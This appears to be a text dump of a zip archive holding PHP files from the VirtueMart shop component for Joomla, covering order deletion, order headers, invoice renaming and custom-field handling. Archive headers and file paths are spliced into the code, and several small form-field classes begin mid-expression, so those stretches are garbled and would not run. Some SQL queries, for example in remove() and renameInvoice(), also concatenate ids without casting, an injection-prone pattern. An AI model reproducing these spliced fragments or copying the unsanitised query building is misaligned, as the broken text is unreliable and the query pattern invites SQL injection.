was successful, false otherwise */ function removeOrderLineItem($orderLineId) { $item = $this->getTable('order_items'); if (!$item->load($orderLineId)) { vmError($item->getError()); return false; } //TODO Why should the stock change, when the order is deleted? Paypal? Valerie? // $this->handleStockAfterStatusChangedPerProduct('C', $item->order_status,$item, $item->product_quantity); if ($item->delete($orderLineId)) { return true; } else { vmError($item->getError()); return false; } } /** * Delete all record ids selected * * @author Max Milbers * @author Patrick Kohl * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); foreach($ids as $id) { // remove order_item and update stock $q = "SELECT `virtuemart_order_item_id` FROM `#__virtuemart_order_items` WHERE `virtuemart_order_id`=".$id; $this->_db->setQuery($q); $item_ids = $this->_db->loadResultArray(); foreach( $item_ids as $item_id ) { $this->removeOrderLineItem($item_id); } // rename invoice number by adding the date, and update the invoice table $this->renameInvoice($id ); if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } } return true; } /** Update order head record * * @author Ondřej Spilka * @author Maik Künnemann * @return boolean True is the update was successful, otherwise false. */ public function UpdateOrderHead($virtuemart_order_id, $_orderData) { $orderTable = $this->getTable('orders'); $orderTable->load($virtuemart_order_id); if (!$orderTable->bindChecknStore($_orderData, true)){ vmError($orderTable->getError()); return false; } $_userInfoData = array(); if(!class_exists('VirtueMartModelUserfields')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'userfields.php'); $_userFieldsModel = VmModel::getModel('userfields'); //bill to $_userFieldsBT = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); foreach ($_userFieldsBT as $_fld) { $_name = $_fld->name; if(isset( $_orderData["BT_{$_name}"])){ $_userInfoData[$_name] = $_orderData["BT_{$_name}"]; } } $_userInfoData['virtuemart_order_id'] = $virtuemart_order_id; $_userInfoData['address_type'] = 'BT'; $order_userinfosTable = $this->getTable('order_userinfos'); $order_userinfosTable->load($virtuemart_order_id, 'virtuemart_order_id'," AND address_type='BT'"); if (!$order_userinfosTable->bindChecknStore($_userInfoData, true)){ vmError($order_userinfosTable->getError()); return false; } //ship to $_userFieldsST = $_userFieldsModel->getUserFields('account' , array('delimiters'=>true, 'captcha'=>true) , array('username', 'password', 'password2', 'user_is_vendor') ); $_userInfoData = array(); foreach ($_userFieldsST as $_fld) { $_name = $_fld->name; if(isset( $_orderData["ST_{$_name}"])){ $_userInfoData[$_name] = $_orderData["ST_{$_name}"]; } } $_userInfoData['virtuemart_order_id'] = $virtuemart_order_id; $_userInfoData['address_type'] = 'ST'; $order_userinfosTable = $this->getTable('order_userinfos'); $order_userinfosTable->load($virtuemart_order_id, 'virtuemart_order_id'," AND address_type='ST'"); if (!$order_userinfosTable->bindChecknStore($_userInfoData, true)){ vmError($order_userinfosTable->getError()); return false; } $orderModel = VmModel::getModel('orders'); $order = $orderModel->getOrder($virtuemart_order_id); $dispatcher = JDispatcher::getInstance(); if (!class_exists ('CurrencyDisplay')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); } // Update Payment Method if($_orderData['old_virtuemart_paymentmethod_id'] != $_orderData['virtuemart_paymentmethod_id']) { $this->_db->setQuery( 'SELECT `payment_element` FROM `#__virtuemart_paymentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_paymentmethods`.`virtuemart_paymentmethod_id` = `#__virtuemart_orders`.`virtuemart_paymentmethod_id` AND `virtuemart_order_id` = ' . $virtuemart_order_id ); $paymentTable = '#__virtuemart_payment_plg_'. $this->_db->loadResult(); $this->_db->setQuery("DELETE from `". $paymentTable ."` WHERE `virtuemart_order_id` = " . $virtuemart_order_id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } else { JPluginHelper::importPlugin('vmpayment'); } } // Update Shipment Method if($_orderData['old_virtuemart_shipmentmethod_id'] != $_orderData['virtuemart_shipmentmethod_id']) { $this->_db->setQuery( 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $virtuemart_order_id ); $shipmentTable = '#__virtuemart_shipment_plg_'. $this->_db->loadResult(); $this->_db->setQuery("DELETE from `". $shipmentTable ."` WHERE `virtuemart_order_id` = " . $virtuemart_order_id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } else { JPluginHelper::importPlugin('vmshipment'); } } // JPluginHelper::importPlugin('vmshipment'); // JPluginHelper::importPlugin('vmcustom'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $cart->virtuemart_paymentmethod_id = $_orderData['virtuemart_paymentmethod_id']; $cart->virtuemart_shipmentmethod_id = $_orderData['virtuemart_shipmentmethod_id']; $order['order_status'] = $order['details']['BT']->order_status; $order['customer_notified'] = 0; $order['comments'] = ''; $returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($cart, $order)); return true; } /** Create empty order head record from admin only * * @author Ondřej Spilka * @return ID of the newly created order */ public function CreateOrderHead() { // TODO // multivendor //usrid $usrid = 0; $_orderData = new stdClass(); $_orderData->virtuemart_order_id = null; $_orderData->virtuemart_user_id = 0; $_orderData->virtuemart_vendor_id = 1; //TODO $_orderData->order_total = 0; $_orderData->order_salesPrice = 0; $_orderData->order_billTaxAmount = 0; $_orderData->order_billDiscountAmount = 0; $_orderData->order_discountAmount = 0; $_orderData->order_subtotal = 0; $_orderData->order_tax = 0; $_orderData->order_shipment = 0; $_orderData->order_shipment_tax = 0; $_orderData->order_payment = 0; $_orderData->order_payment_tax = 0; $_orderData->order_discount = 0; $_orderData->order_status = 'P'; $_orderData->order_currency = $this->getVendorCurrencyId($_orderData->virtuemart_vendor_id); $_orderData->virtuemart_paymentmethod_id = JRequest::getInt('virtuemart_paymentmethod_id'); $_orderData->virtuemart_shipmentmethod_id = JRequest::getInt('virtuemart_shipmentmethod_id'); $_orderData->customer_note = ''; $_orderData->ip_address = $_SERVER['REMOTE_ADDR']; $_orderData->order_number =''; JPluginHelper::importPlugin('vmshopper'); $dispatcher = JDispatcher::getInstance(); $_orderData->order_number = $this->generateOrderNumber($usrid,4,$_orderData->virtuemart_vendor_id); $_orderData->order_pass = 'p_'.substr( md5((string)time().rand(1,1000).$_orderData->order_number ), 0, 5); $orderTable = $this->getTable('orders'); $orderTable -> bindChecknStore($_orderData); $errors = $orderTable->getErrors(); foreach($errors as $error){ vmError($error); } $db = JFactory::getDBO(); $_orderID = $db->insertid(); $_usr = JFactory::getUser(); if (!$this->_writeUserInfo($_orderID, $_usr, array())) { vmError($error); } $orderModel = VmModel::getModel('orders'); $order= $orderModel->getOrder($_orderID); $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('vmcustom'); JPluginHelper::importPlugin('vmshipment'); JPluginHelper::importPlugin('vmpayment'); if (!class_exists('VirtueMartCart')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'cart.php'); $cart = VirtueMartCart::getCart(); $returnValues = $dispatcher->trigger('plgVmConfirmedOrder', array($cart, $order)); return $_orderID; } /** Rename Invoice (when an order is deleted) * * @author Valérie Isaksen * @param $order_id Id of the order * @return boolean true if deleted successful, false if there was a problem */ function renameInvoice($order_id ) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$order_id.'" '; $db->setQuery($q); $data = $db->loadAssoc(); if(!$data or empty($data['invoice_number']) ){ return true; } // rename invoice pdf file $invoice_prefix='vminvoice_'; $path = shopFunctions::getInvoicePath(VmConfig::get('forSale_path',0)); $invoice_name_src = $path.DS.$invoice_prefix.$data['invoice_number'].'.pdf'; if(!file_exists($invoice_name_src)){ // may be it was already deleted when changing order items $data['invoice_number'] = $data['invoice_number'].' not found.'; } else { $date = date("Ymd"); $data['invoice_number'] = $data['invoice_number'].'_'.$date; $invoice_name_dst = $path.DS.$data['invoice_number'].'.pdf'; if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if (!JFile::move($invoice_name_src, $invoice_name_dst)) { vmError ('Could not rename Invoice '.$invoice_name_src.'to '. $invoice_name_dst ); } } $table = $this->getTable('invoices'); $table->bindChecknStore($data); return true; } /** Delete Invoice when an item is updated * * @author Valérie Isaksen * @param $order_id Id of the order * @return boolean true if deleted successful, false if there was a problem */ function deleteInvoice($order_id ) { $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_invoices` WHERE `virtuemart_order_id`= "'.$order_id.'" '; $db->setQuery($q); $data = $db->loadAssoc(); if(!$data or empty($data['invoice_number']) ){ return true; } // rename invoice pdf file $invoice_prefix='vminvoice_'; $path = shopFunctions::getInvoicePath(VmConfig::get('forSale_path',0)); $invoice_name_src = $path.DS.$invoice_prefix.$data['invoice_number'].'.pdf'; if(!file_exists($invoice_name_src)){ // was already deleted by a previoous change return; } if(!class_exists('JFile')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'filesystem'.DS.'file.php'); if (!JFile::delete($invoice_name_src )) { vmError ('Could not delete Invoice '.$invoice_name_src ); } } } // No closing tag PK@y>\2components/com_virtuemart/models/fields/vendor.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel('vendor'); $vendors = $model->getVendors(true, true, false); return JHTML::_('select.genericlist', $vendors, $this->name, 'class="inputbox" size="1"', 'virtuemart_vendor_id', 'vendor_name', $this->value, $this->id); } }PK@y>\gE!!3components/com_virtuemart/models/fields/product.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); return JHTML::_('select.genericlist', $this->_getProducts(), $this->name, 'class="inputbox" ', 'value', 'text', $this->value, $this->id); } private function _getProducts() { if (!class_exists('VmModel')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmmodel.php'); $productModel = VmModel::getModel('Product'); $productModel->_noLimit = true; $products = $productModel->getProductListing(false, false, false, false, true,false); $productModel->_noLimit = false; $i = 0; $list = array(); foreach ($products as $product) { $list[$i]['value'] = $product->virtuemart_product_id; $list[$i]['text'] = $product->product_name. " (". $product->product_sku.")"; $i++; } return $list; } }PK@y>\]"!((2components/com_virtuemart/models/fields/layout.phpnuW+Afieldname,0,-6);; $vmLayoutList =VirtueMartModelConfig::getLayoutList($view); $html = JHTML::_('Select.genericlist',$vmLayoutList, $this->name, 'size=1 width=200', 'value', 'text', array($this->value)); return $html; } }PK@y>\ 8components/com_virtuemart/models/fields/manufacturer.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel('Manufacturer'); $manufacturers = $model->getManufacturers(true, true, false); return JHTML::_('select.genericlist', $manufacturers, $this->name, 'class="inputbox" size="1"', 'virtuemart_manufacturer_id', 'mf_name', $this->value, $this->id); } }PK@y>\)1components/com_virtuemart/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V2components/com_virtuemart/models/fields/index.htmlnuW+A PK@y>\}܆4components/com_virtuemart/models/fields/category.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); VmConfig::loadJLang('com_virtuemart'); $categorylist = ShopFunctions::categoryListTree(array($this->value)); $html = '"; return $html; } }PK@y>\hӪ7components/com_virtuemart/models/fields/orderstatus.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); $model = VmModel::getModel ('Orderstatus'); $orderStatus = $model->getOrderStatusList (); foreach ($orderStatus as $orderState) { $orderState->order_status_name = JText::_ ($orderState->order_status_name); } return JHTML::_ ('select.genericlist', $orderStatus, $this->name, 'class="inputbox" multiple="true" size="1"', 'order_status_code', 'order_status_name', $this->value, $this->id); } }PK@y>\M')ii1components/com_virtuemart/models/customfields.phpnuW+AsetMainTable ('product_customfields'); } /** * Gets a single custom by virtuemart_customfield_id * * @param string $type * @param string $mime mime type of custom, use for exampel image * @return customobject */ function getCustomfield () { $this->data = $this->getTable ('product_customfields'); $this->data->load ($this->_id); return $this; } // ************************************************** // Custom FIELDS // function getProductCustomsChilds ($childs) { $data = array(); foreach ($childs as $child) { $query = 'SELECT C.* , field.* FROM `#__virtuemart_product_customfields` AS field LEFT JOIN `#__virtuemart_customs` AS C ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` WHERE `virtuemart_product_id` =' . (int)$child->virtuemart_product_id; $query .= ' and C.field_type = "C" '; $this->_db->setQuery ($query); $child->field = $this->_db->loadObject (); $customfield = new stdClass(); $customfield->custom_value = $child->virtuemart_product_id; $customfield->field_type = 'C'; $child->display = $this->displayProductCustomfieldFE ($child, $customfield); if ($child->field) { $data[] = $child; } } return $data; } public function getCustomParentTitle ($custom_parent_id) { $q = 'SELECT custom_title FROM `#__virtuemart_customs` WHERE virtuemart_custom_id =' . (int)$custom_parent_id; $this->_db->setQuery ($q); return $this->_db->loadResult (); } /** @return autorized Types of data **/ function getField_types () { return array('S' => 'COM_VIRTUEMART_CUSTOM_STRING', 'I' => 'COM_VIRTUEMART_CUSTOM_INT', 'P' => 'COM_VIRTUEMART_CUSTOM_PARENT', 'B' => 'COM_VIRTUEMART_CUSTOM_BOOL', 'D' => 'COM_VIRTUEMART_DATE', 'T' => 'COM_VIRTUEMART_TIME', 'M' => 'COM_VIRTUEMART_IMAGE', 'V' => 'COM_VIRTUEMART_CUSTOM_CART_VARIANT', 'A' => 'COM_VIRTUEMART_CHILD_GENERIC_VARIANT', 'X' => 'COM_VIRTUEMART_CUSTOM_EDITOR', 'Y' => 'COM_VIRTUEMART_CUSTOM_TEXTAREA', 'E' => 'COM_VIRTUEMART_CUSTOM_EXTENSION' ); // 'U'=>'COM_VIRTUEMART_CUSTOM_CART_USER_VARIANT', // 'C'=>'COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD', // 'G'=>'COM_VIRTUEMART_CUSTOM_PRODUCT_CHILD_GROUP', // 'R'=>'COM_VIRTUEMART_RELATED_PRODUCT', // 'Z'=>'COM_VIRTUEMART_RELATED_CATEGORY', } static function setParameterableByFieldType(&$table,$type=0){ if($type===0) $type = $table->field_type; $varsToPush = self::getVarsToPush($type); if(!empty($varsToPush)){ $table->setParameterable('custom_param',$varsToPush,TRUE); } } static function bindParameterableByFieldType(&$table,$type=0){ if($type===0) $type = $table->field_type; $varsToPush = self::getVarsToPush($type); if(!empty($varsToPush)){ VmTable::bindParameterable($table,'custom_param',$varsToPush); } } static function getVarsToPush($type){ $varsToPush = 0; if($type=='A'){ $varsToPush = array( 'withParent' => array(0, 'int'), 'parentOrderable' => array(0, 'int') ); } return $varsToPush; } private $_hidden = array(); /** * Use this to adjust the hidden fields of the displaycustomHandler to your form * * @author Max Milbers * @param string $name for exampel view * @param string $value for exampel custom */ public function addHidden ($name, $value = '') { $this->_hidden[$name] = $value; } /** * Adds the hidden fields which are needed for the form in every case * * @author Max Milbers * OBSELTE ? */ private function addHiddenByType ($datas) { $this->addHidden ('virtuemart_custom_id', $datas->virtuemart_custom_id); $this->addHidden ('option', 'com_virtuemart'); } /** * Displays a possibility to select custom groups * * @author Max Milbers * @author Maik K�nnemann * @author Patrick Kohl */ public function displayCustomSelection () { $customslist = $this->getParentList (); if (isset($this->virtuemart_custom_id)) { $value = $this->virtuemart_custom_id; } else { $value = JRequest::getInt ('custom_parent_id', 0); } return VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_PARENT', 'custom_parent_id', $customslist, $value); } /** * Retrieve a list of layouts from the default and chosen templates directory. * * We may use here the getCustoms function of the custom model or write something simular * * @author Max Milbers * @param name of the view * @return object List of flypage objects */ function getCustomsList ($publishedOnly = FALSE) { $vendorId = 1; // get custom parents $q = 'SELECT virtuemart_custom_id as value ,custom_title as text FROM `#__virtuemart_customs` where custom_parent_id=0 AND field_type <> "R" AND field_type <> "Z" '; if ($publishedOnly) { $q .= 'AND `published`=1'; } if ($ID = JRequest::getInt ('virtuemart_custom_id', 0)) { $q .= ' and `virtuemart_custom_id`!=' . (int)$ID; } //if (isset($this->virtuemart_custom_id)) $q.=' and virtuemart_custom_id !='.$this->virtuemart_custom_id; $this->_db->setQuery ($q); // $result = $this->_db->loadAssocList(); $result = $this->_db->loadObjectList (); $errMsg = $this->_db->getErrorMsg (); $errs = $this->_db->getErrors (); if (!empty($errMsg)) { $app = JFactory::getApplication (); $errNum = $this->_db->getErrorNum (); $app->enqueueMessage ('SQL-Error: ' . $errNum . ' ' . $errMsg); } if ($errs) { $app = JFactory::getApplication (); foreach ($errs as $err) { $app->enqueueMessage ($err); } } return $result; } /** * This displays a custom handler. * * @param string $html atttributes, Just for displaying the fullsized image */ public function displayCustomFields ($datas) { $identify = ''; // ':'.$this->virtuemart_custom_id; if (!class_exists ('VmHTML')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); } if ($datas->field_type) { $this->addHidden ('field_type', $datas->field_type); } $this->addHiddenByType ($datas); //$html = '
        '.$datas->custom_title.'
        '; $html = ""; //$html = ' '; if (!class_exists ('Permissions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'permissions.php'); } if (!Permissions::getInstance ()->check ('admin')) { $readonly = 'readonly'; } else { $readonly = ''; } // only input when not set else display if ($datas->field_type) { $html .= VmHTML::row ('value', 'COM_VIRTUEMART_CUSTOM_FIELD_TYPE', $datas->field_types[$datas->field_type]); } else { $html .= VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_FIELD_TYPE', 'field_type', $this->getOptions ($datas->field_types), $datas->field_type, VmHTML::validate ('R')); } $html .= VmHTML::row ('input', 'COM_VIRTUEMART_TITLE', 'custom_title', $datas->custom_title, VmHTML::validate ('S')); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_SHOW_TITLE', 'show_title', $datas->show_title); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_PUBLISHED', 'published', $datas->published); $html .= VmHTML::row ('select', 'COM_VIRTUEMART_CUSTOM_PARENT', 'custom_parent_id', $this->getParentList ($datas->virtuemart_custom_id), $datas->custom_parent_id, ''); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_CART_ATTRIBUTE', 'is_cart_attribute', $datas->is_cart_attribute); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_DESCRIPTION', 'custom_field_desc', $datas->custom_field_desc); // change input by type $html .= VmHTML::row ('input', 'COM_VIRTUEMART_DEFAULT', 'custom_value', $datas->custom_value); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_CUSTOM_TIP', 'custom_tip', $datas->custom_tip); $html .= VmHTML::row ('input', 'COM_VIRTUEMART_CUSTOM_LAYOUT_POS', 'layout_pos', $datas->layout_pos); //$html .= VmHTML::row('booleanlist','COM_VIRTUEMART_CUSTOM_PARENT','custom_parent_id',$this->getCustomsList(), $datas->custom_parent_id,''); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_ADMIN_ONLY', 'admin_only', $datas->admin_only); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_LIST', 'is_list', $datas->is_list); $html .= VmHTML::row ('booleanlist', 'COM_VIRTUEMART_CUSTOM_IS_HIDDEN', 'is_hidden', $datas->is_hidden); // $html .= '
        '; removed $html .= VmHTML::inputHidden ($this->_hidden); return $html; } /** * child classes can add their own options and you can get them with this function * * @param array $optionsarray */ private function getOptions ($field_types) { $options = array(); foreach ($field_types as $optionName=> $langkey) { $options[] = JHTML::_ ('select.option', $optionName, vmText::_ ($langkey)); } return $options; } /** * Just for creating simpel rows * * @author Max Milbers * @param string $descr * @param string $name */ private function displayRow ($descr, $name, $readonly = '') { $html = ' ' . vmText::_ ($descr) . ' '; return $html; } /** * * Enter description here ... * * @param unknown_type $excludedId * @return unknown|multitype: */ function getParentList ($excludedId = 0) { $this->_db->setQuery (' SELECT virtuemart_custom_id as value,custom_title as text FROM `#__virtuemart_customs` WHERE `field_type` ="P" and virtuemart_custom_id!=' . $excludedId); if ($results = $this->_db->loadObjectList ()) { return $results; } else { return array(); } } /** * * Enter description here ... */ function getProductChildCustomRelation () { $this->_db->setQuery (' SELECT virtuemart_custom_id as value,custom_title as text FROM `#__virtuemart_customs` WHERE `field_type` ="C"'); if ($results = $this->_db->loadObjectList ()) { return $results; } else { return array(); } } /** * * Enter description here ... * * @param unknown_type $product_id * @return unknown */ function getProductChildCustom ($product_id) { $this->_db->setQuery (' SELECT `virtuemart_custom_id`,`custom_value` FROM `#__virtuemart_product_customfields` WHERE `virtuemart_product_id` =' . (int)$product_id); if ($childcustom = $this->_db->loadObject ()) { return $childcustom; } else { $childcustom->virtuemart_custom_id = 0; $childcustom->custom_value = ''; return $childcustom; } } /** * * Enter description here ... * * @param unknown_type $product_id * @return string|Ambigous */ function getProductParentRelation ($product_id) { $this->_db->setQuery (' SELECT `custom_value` FROM `#__virtuemart_product_customfields` WHERE `virtuemart_product_id` =' . (int)$product_id); if ($childcustom = $this->_db->loadResult ()) { return '(' . $childcustom . ')'; } else { return vmText::_ ('COM_VIRTUEMART_CUSTOM_NO_PARENT_RELATION'); } } /** * AUthor Kohl Patrick * Load all custom fields for a Single product * return custom fields value and definition */ public function getproductCustomslist ($virtuemart_product_id, $parent_id = NULL) { $query = 'SELECT C.`virtuemart_custom_id` , `custom_element`, `custom_jplugin_id`, `custom_params`, `custom_parent_id` , `admin_only` , `custom_title` , `show_title` , `custom_tip` , C.`custom_value` AS value, `custom_field_desc` , `field_type` , `is_list` , `is_cart_attribute` , `is_hidden` , C.`published` , field.`virtuemart_customfield_id` , field.`custom_value`,field.`custom_param`,field.`custom_price`,field.`ordering` FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS field ON C.`virtuemart_custom_id` = field.`virtuemart_custom_id` Where `virtuemart_product_id` =' . $virtuemart_product_id . ' order by field.`ordering` ASC'; $this->_db->setQuery ($query); $productCustoms = $this->_db->loadObjectList (); //if (!$productCustoms ) return array(); if (!$productCustoms) { return; } $row = 0; foreach ($productCustoms as $field) { if ($parent_id) { $field->custom_value = ""; $field->virtuemart_customfield_id = ""; $field->custom_param = NULL; $virtuemart_product_id = $parent_id; } if ($field->field_type == 'E') { JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $retValue = $dispatcher->trigger ('plgVmDeclarePluginParams', array('custom', $field->custom_element, $field->custom_jplugin_id, $field)); }else { VirtueMartModelCustomfields::bindParameterableByFieldType($field); } //vmdebug('fields',$field); $field->display = $this->displayProductCustomfieldBE ($field, $virtuemart_product_id, $row); //custom_param without S !!! $row++; } return $productCustoms; } /* Save and delete from database * all product custom_fields and xref @ var $table : the xref table(eg. product,category ...) @array $data : array of customfields @int $id : The concerned id (eg. product_id) */ public function storeProductCustomfields($table,$datas, $id) { //vmdebug('storeProductCustomfields',$datas); JRequest::checkToken() or jexit( 'Invalid Token, in store customfields'); //Sanitize id $id = (int)$id; //Table whitelist $tableWhiteList = array('product','category','manufacturer'); if(!in_array($table,$tableWhiteList)) return false; // Get old IDS $this->_db->setQuery( 'SELECT `virtuemart_customfield_id` FROM `#__virtuemart_'.$table.'_customfields` as `PC` WHERE `PC`.virtuemart_'.$table.'_id ='.$id ); $old_customfield_ids = $this->_db->loadResultArray(); if (isset ( $datas['custom_param'] )) $params = true ; else $params = false ; if (array_key_exists('field', $datas)) { //vmdebug('datas save',$datas); $customfieldIds = array(); foreach($datas['field'] as $key => $fields){ $fields['virtuemart_'.$table.'_id'] =$id; $tableCustomfields = $this->getTable($table.'_customfields'); $tableCustomfields->setPrimaryKey('virtuemart_product_id'); if (!empty($datas['custom_param'][$key]) and !isset($datas['clone']) ) { if (array_key_exists( $key,$datas['custom_param'])) { $fields['custom_param'] = json_encode($datas['custom_param'][$key]); } } VirtueMartModelCustomfields::setParameterableByFieldType($tableCustomfields,$fields['field_type']); if(!isset($datas['clone'])){ VirtueMartModelCustomfields::bindParameterableByFieldType($tableCustomfields,$fields['field_type']); } $tableCustomfields->bindChecknStore($fields); $errors = $tableCustomfields->getErrors(); foreach($errors as $error){ vmError($error); } $key = array_search($fields['virtuemart_customfield_id'], $old_customfield_ids ); if ($key !== false ) unset( $old_customfield_ids[ $key ] ); // vmdebug('datas clone',$old_customfield_ids,$fields); } } if ( count($old_customfield_ids) ) { // delete old unused Customfields $this->_db->setQuery( 'DELETE FROM `#__virtuemart_'.$table.'_customfields` WHERE `virtuemart_customfield_id` in ("'.implode('","', $old_customfield_ids ).'") '); $this->_db->query(); } JPluginHelper::importPlugin('vmcustom'); $dispatcher = JDispatcher::getInstance(); if (isset($datas['plugin_param']) and is_array($datas['plugin_param'])) { foreach ($datas['plugin_param'] as $key => $plugin_param ) { $dispatcher->trigger('plgVmOnStoreProduct', array($datas, $plugin_param )); } } } /** * Formatting admin display by roles * input Types for product only ! * $field->is_cart_attribute if can have a price */ public function displayProductCustomfieldBE ($field, $product_id, $row) { $field->custom_value = empty($field->custom_value) ? $field->value : $field->custom_value; if ($field->is_cart_attribute) { if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); if(!class_exists('VirtueMartModelCurrency')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'currency.php'); $vendor_model = VmModel::getModel('vendor'); $vendor_model->setId(1); $vendor = $vendor_model->getVendor(); $currency_model = VmModel::getModel('currency'); $vendor_currency = $currency_model->getCurrency($vendor->vendor_currency); $priceInput = ' '.$vendor_currency->currency_symbol.""; } else { $priceInput = ' '; } if ($field->is_list) { $options = array(); $values = explode (';', $field->value); foreach ($values as $key => $val) { $options[] = array('value' => $val, 'text' => $val); } $currentValue = $field->custom_value; return JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', null, 'value', 'text', $currentValue) . '' . $priceInput; } else { switch ($field->field_type) { case 'A': //vmdebug('displayProductCustomfieldBE $field',$field); if(!isset($field->withParent)) $field->withParent = 0; if(!isset($field->parentOrderable)) $field->parentOrderable = 0; //vmdebug('displayProductCustomfieldFE',$field); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'html.php'); $html = vmText::_('COM_VIRTUEMART_CUSTOM_WP').VmHTML::checkbox('field[' . $row . '][withParent]',$field->withParent,1,0,'').'
        '; $html .= vmText::_('COM_VIRTUEMART_CUSTOM_PO').VmHTML::checkbox('field[' . $row . '][parentOrderable]',$field->parentOrderable,1,0,''); $options = array(); // $options[] = array( 'value' => 'product_name' ,'text' =>vmText::_('COM_VIRTUEMART_PRODUCT_FORM_NAME')); Is anyway displayed there $options[] = array('value' => 'product_sku', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_SKU')); $options[] = array('value' => 'slug', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_ALIAS')); $options[] = array('value' => 'product_length', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_LENGTH')); $options[] = array('value' => 'product_width', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_WIDTH')); $options[] = array('value' => 'product_height', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_HEIGHT')); $options[] = array('value' => 'product_weight', 'text' => vmText::_ ('COM_VIRTUEMART_PRODUCT_WEIGHT')); $html .= JHTML::_ ('select.genericlist', $options, 'field[' . $row . '][custom_value]', '', 'value', 'text', $field->custom_value) . '' . $priceInput; return $html; // return 'Automatic Childvariant creation (later you can choose here attributes to show, now product name) '; break; // variants case 'V': return '' . $priceInput; break; /* * Stockable (group of) child variants * Special type setted by the plugin */ case 'G': return; break; /*Extended by plugin*/ case 'E': $html = ''; if (!class_exists ('vmCustomPlugin')) { require(JPATH_VM_PLUGINS . DS . 'vmcustomplugin.php'); } JPluginHelper::importPlugin ('vmcustom', $field->custom_element); $dispatcher = JDispatcher::getInstance (); $retValue = ''; $dispatcher->trigger ('plgVmOnProductEdit', array($field, $product_id, &$row, &$retValue)); return $html . $retValue . ''. $priceInput; break; case 'D': return vmJsApi::jDate ($field->custom_value, 'field[' . $row . '][custom_value]', 'field_' . $row . '_customvalue') .''. $priceInput; break; case 'T': //TODO Patrick return '' . $priceInput; break; /* string or integer */ case 'S': case 'I': return '' . $priceInput; break; //'X'=>'COM_VIRTUEMART_CUSTOM_EDITOR', case 'X': // Not sure why this block is needed to get it to work when editing the customfield (the subsequent block works fine when creating it, ie. in JS) $document=& JFactory::getDocument(); if (get_class($document) == 'JDocumentHTML') { $editor =& JFactory::getEditor(); return $editor->display('field['.$row.'][custom_value]',$field->custom_value, '550', '400', '60', '20', false).''; } return ' ' . $priceInput; //return ''.$priceInput; break; //'Y'=>'COM_VIRTUEMART_CUSTOM_TEXTAREA' case 'Y': return '' . $priceInput; //return ''.$priceInput; break; case 'editorta': jimport ('joomla.html.editor'); $editor = JFactory::getEditor (); //TODO This is wrong! $_return['fields'][$_fld->name]['formcode'] = $editor->display ($_prefix . $_fld->name, $_return['fields'][$_fld->name]['value'], 300, 150, $_fld->cols, $_fld->rows); break; /* bool */ case 'B': return JHTML::_ ('select.booleanlist', 'field[' . $row . '][custom_value]', 'class="inputbox"', $field->custom_value) . '' . $priceInput; break; /* parent */ case 'P': return $field->custom_value . ''; break; /* related category*/ case 'Z': if 